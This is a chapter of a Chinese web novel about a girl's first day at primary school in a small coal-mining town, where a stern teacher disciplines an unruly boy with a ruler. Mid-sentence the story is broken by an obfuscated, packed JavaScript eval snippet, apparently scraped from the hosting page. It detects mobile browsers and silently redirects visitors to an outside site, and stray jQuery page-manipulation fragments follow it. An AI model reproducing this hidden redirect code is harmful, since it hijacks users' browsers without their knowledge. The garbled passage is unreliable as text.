大多上了学的大孩子都已知道上学是怎么一回事，提起学校的事儿，很不屑一顾的样子。
前几日周小萍问表姐，表姐从鼻子里哼出一声：“……我们那个老师，一个罗里吧嗦的中年男人！谁稀罕他。”
可对周小萍这帮学龄前儿童来说，那可不是这样。
上学，意味着和大人一样，要一丝不苟地早早地起来，家里人帮忙准备好背包和干粮，就这样踩着晨曦出门。
他们每天下班都是那个点，在夜色刚近时进屋，一脸疲劳，却有对一整天劳动成果的骄傲。点一点，把工钱交给家人，微笑地看着高兴的他们。
虽然小孩上学并没有什么工钱拿，但和家里赚钱的大人们一同早出晚归，却让他们感到一种微妙的自豪，像自己也离成人近了许多似的。
那时候孩子们上学的年龄还很不固定，小的孩子六七岁就能上学，大的九岁、十岁才送去学校的也有。
周小萍今年就七岁了，可以上学了，她立刻央求爸妈，替她去学校报个名。
彼时还没有“义务教育”这一说，上学要交学杂费、书本费，有些穷人家的孩子晚上学也是因为这个。
好在煤矿工人的家庭还算是比较宽裕的。周父周母和其他几个小孩儿的父母一讨论，他们这些下矿的工人一整天都不在家，小孩出什么事也难赶回来，干脆承诺今年秋季就把他们送去上学，大家一块儿也是有个伴。
周小萍几个顿时欢呼起来。
这下好了，他们可算找到事干了，六个人都对上学这件事满怀憧憬，在街上拉着每个认识的且上过学的人问，去了学校该做什么。
各人的表兄表姐自是不必说了，本来每天上学就累，作业还没动，先被一帮半大孩子问东问西的，很不耐烦地赶他们走。
连只上了两年小学的刘婶儿都被他们逮住了。
“上学要做什么？”刘婶儿放下手里的抹布，绞尽脑汁地搜刮那四十多年前的记忆，“……好像说什么两只手交叠放在桌子上……讲话要举手？”
六人立刻又缠着她问怎么个交叠法，举哪只手，把刘婶儿问得晕头转向，压根应付不来，把他们全都赶出店里了，才终于好安静地干会儿活。
枝叶抽条，绿叶冒出头，又变成黄澄的蝴蝶，从树上飞下来。
今天有一件大事要发生——
周小萍要上小学了！
大人们还没醒，周小萍就睁开了眼睛，转头看看天色。太阳都还没出来，鸟在树上歪着头盯着屋里那个大眼睛的女孩。
周小萍叹了口气躺下了。翻了好几个身，又往外看看，天色已经微微发亮了，树杈子的轮廓逐渐清晰。
周小萍硬闭着眼睛又眯了好一会儿，确定真的睡不着了，才慢慢睁开，直挺挺地仰面躺着。
看着头顶的土墙，她兴奋地想学校的样子，想新的同学。
好容易挨到晨光微熹，大人们陆续地起身了，周小萍便马上一骨碌蹦起来。她梳了两个比平时更仔细更规整的小辫，抓上早餐就去和丁家强他们集合了。
周小萍他们几个住在小煤镇这一头，临近矿井，小学在镇子的另一头。但实际上并不远，在丁点儿大的小煤镇，从这儿到那儿，二十分钟就走到了。
六个人一路兴奋地闹着，走路都比平时快上不少，等走到学校跟前，几人都微微带喘了。
小煤镇的小学是由额外几个平房拼成的。四年级以下叫初小，在一栋长条儿的平房里。四年级以上是高小，人稍微少点，在另一栋方正的平房里。
两栋平房用棚子连着，中间有一块儿草坪，草坪旁有个木架子搭的球门；一块儿踩的很实的土地，拿石灰画了白线，旁边杵着一个篮球框。
平房边上有一间很小的屋子，有两套桌椅和书柜，分别是两个老师的办公位，这小屋就称作“办公室”了。
一个镇子里的孩子们都在一个小学里念书，学生不多，老师更不多。一整个小学也就五十来人，配三个老师都富余。
几人进了教室，墙还是和家里差不多的土墙，桌子却是一长条的木板桌，凳子也是一桌一条。六人分了两排坐好，挤攘攘地观察四周。
隔壁桌那个是他们镇的郝明亮，以往旧地主家的小儿子，现他们家已经是普通农民了。她认识，主要是“好明亮”这名字太好认，她第一回听就记住了。
周小萍还认出了谭小时，方正气……她皱起了眉头——张大虎？
不远处一个虎头虎脑的大男孩儿叉着一条腿支在凳子上，坐没坐相，讲话也粗声粗气，是他们这帮同龄人里最不喜欢的小孩。
周小萍掰着手指算一算，真是呀，张大虎今年九岁了，再不上学就要过时候了。小煤镇就这么大，同一批上学的孩子铁定是要分到一个班的。
太不凑巧了！六个人一脸晦气地交换了一下眼神。
周小萍坐在凳子上，撑着两腮，听身边的小孩们叽叽喳喳地讨论着。
她很期待地看着门口。
老师会是什么样的？
她想，她最希望的是一个温和耐心的漂亮姐姐，会温柔地教他们读拼音，学汉字。
又想了想表姐对她吐槽的班主任……会是那样絮絮叨叨的中年男人吗？周小萍皱起了小眉头，马上甩甩脑袋，把这个画面赶走。
敲铃铛的声音从旁边办公室响起来，穿透力很强，表示上课时间到了，所有小孩都精神一振。门口脚步声慢慢地响起，愈来愈近。
一只手推开了门，有点粗糙，随后露出来的是一个中年女人的脸，脸很长，面中是个高鼻梁的鹰钩鼻，眼神凛冽地向他们一扫，哒哒哒地走上了讲台。
后排张大虎几个看了她一眼，立刻转头交头接耳起来，还伴随着几声窃笑。
那个中年女人一甩巴掌拍向木头制的讲台——不晓得她怎么把木头桌子拍的那么大声，所有人都吓得一抖——严厉而洪亮的声音在屋子里响起来：“安静！”
整个教室里的人顿时噤若寒蝉。
周小萍呆呆地看着她。
这个老师，好像和她想像的不太一样。
中年女人手上拿着一把铁戒尺，往桌子上一撂，“当啷”一声。她拿起粉笔，转身在小黑板上唰唰写了三个大字：
何淑仪。
那黑板其实就是木板刷了黑漆钉上去的，何淑仪写的力大，有锋有折，顿时粉笔灰飘洒，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722062|208715||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刺耳的“吱——吱——”激起了不少人一身的鸡皮疙瘩。
当然，这些第一天上学的孩子们并不认识字，不过她还是写的很认真。
何淑仪沉稳的嗓音响起：“今天开始，我就是你们的任课教师，何淑仪。”
马上就又有人笑了起来。
台上那个女人长脸挺鼻，膀宽肩圆，还“淑怡”！不晓得哪里符合这个斯文温婉的名字。
听见笑声，何淑仪眼皮一动，牢牢地锁定了声源。
她提着戒尺走到发出笑声的人——张大虎面前站定，没有感情地俯睨着他：“起立！”
张大虎脸色非常难看，一声不吭。
“起立！”何淑仪加大了音量。
她本身嗓门就大，这一声更是震得周围一圈人耳朵疼，脑瓜子嗡嗡地响。张大虎的脸上神色变化了好几番，终于不情不愿地站了起来。
张大虎虽然才九岁，可不知他吃什么长的块头那么大，只比何淑仪矮一个头。
他不屈地瞪着何淑仪，直到何淑仪示意他把掌心露出来。
“我爸妈都不打我，你敢打我？”张大虎微微抬头，怒视着眼前的中年女人。
何淑仪还是那个角度睨着他：“哦？不让管教，那你可以回家了，现在就走。”说罢冷冷地看着他，开始倒数。
“五。”
张大虎没动作。
“四。”
要知道低小教书的就她一人，她若是咬死了不教他，任他如何不甘也是没法子的。
“三。”
张大虎的呼吸急促起来。
“二。”
周小萍看到张大虎的手开始不住地摩擦他的裤缝，脑门上露出了冷汗。
“一。”
张大虎抬起了手。
“啪”的一声，大家无言地看着张大虎吃痛地缩回了手，看不出掌心肿没肿，但周小萍看着他的表情，料想应该是蛮痛的。
何淑仪淡淡地看了咬牙切齿的张大虎一眼，收回戒尺，慢慢走回了讲台，她的声音不大，但全教室的人都可以听得一清二楚。
“以后我的课堂上，不许交头接耳，不许做小动作，不许不听指挥。”
没有人吭声，但大家都知道，她的威信已经立下了。最刺的刺头都降伏了，剩下的哪敢再造次啊。
后来稍高一点年级的孩子偷偷向他们传递何淑仪的外号，所有人听了无不拍案叫绝。
“大魔头”——说的不正是何淑仪那个打人不眨眼的大魔鬼！
于是接下来的一切都顺理成章。镇子上的孩子们几乎全都互相认识，何淑仪也没有急着去认他们，自然省去了自我介绍这一环节。
何淑仪收了他们的学杂费，离开教室，从一旁办公室里拿回来一沓课本。
她眼神一扫，一眼就看见人群里唯一一个两手交叠在桌上、背挺的笔直的学生，正是两根辫子梳的利落，睁着大眼睛的周小萍。
她点了点周小萍：“你叫什么名字？”
周小萍很惶恐地左右看了看，见何淑仪仍沉静地看着她，于是她起身答道：“我叫周小萍。”
何淑仪：“今天开始你就是班长了。”